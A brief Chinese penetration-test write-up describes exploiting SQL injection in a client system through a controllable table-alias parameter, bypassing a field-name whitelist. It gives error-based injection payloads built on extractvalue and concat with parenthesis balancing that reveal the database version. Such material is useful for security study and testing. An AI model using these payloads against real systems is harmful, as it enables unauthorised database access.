背景: 某客户系统存在SQL注入,构造payload成功进行SQL注入。

数据包中尝试SQL注入,发现存在字段名白名单:

value1处使用了预编译:


柳暗花明,此处疑似可控:

此处证明可控点为alias处,即表别名可控:

存在报错回显,所以这里优先使用报错注入:

核心payload:

select extractvalue(1,concat(0x7e,version(),0x7e))

此处s前面有三个左括号,所以需要在核心payload上基础上最后使用三个右括号闭合

select extractvalue(1,concat(0x7e,version(),0x7e)))))

由于是新增的一个and条件,所以要还原原始的样子,在最后补一个and (((s

select extractvalue(1,concat(0x7e,version(),0x7e))))) and (((s

成功执行报错注入回显数据库版本号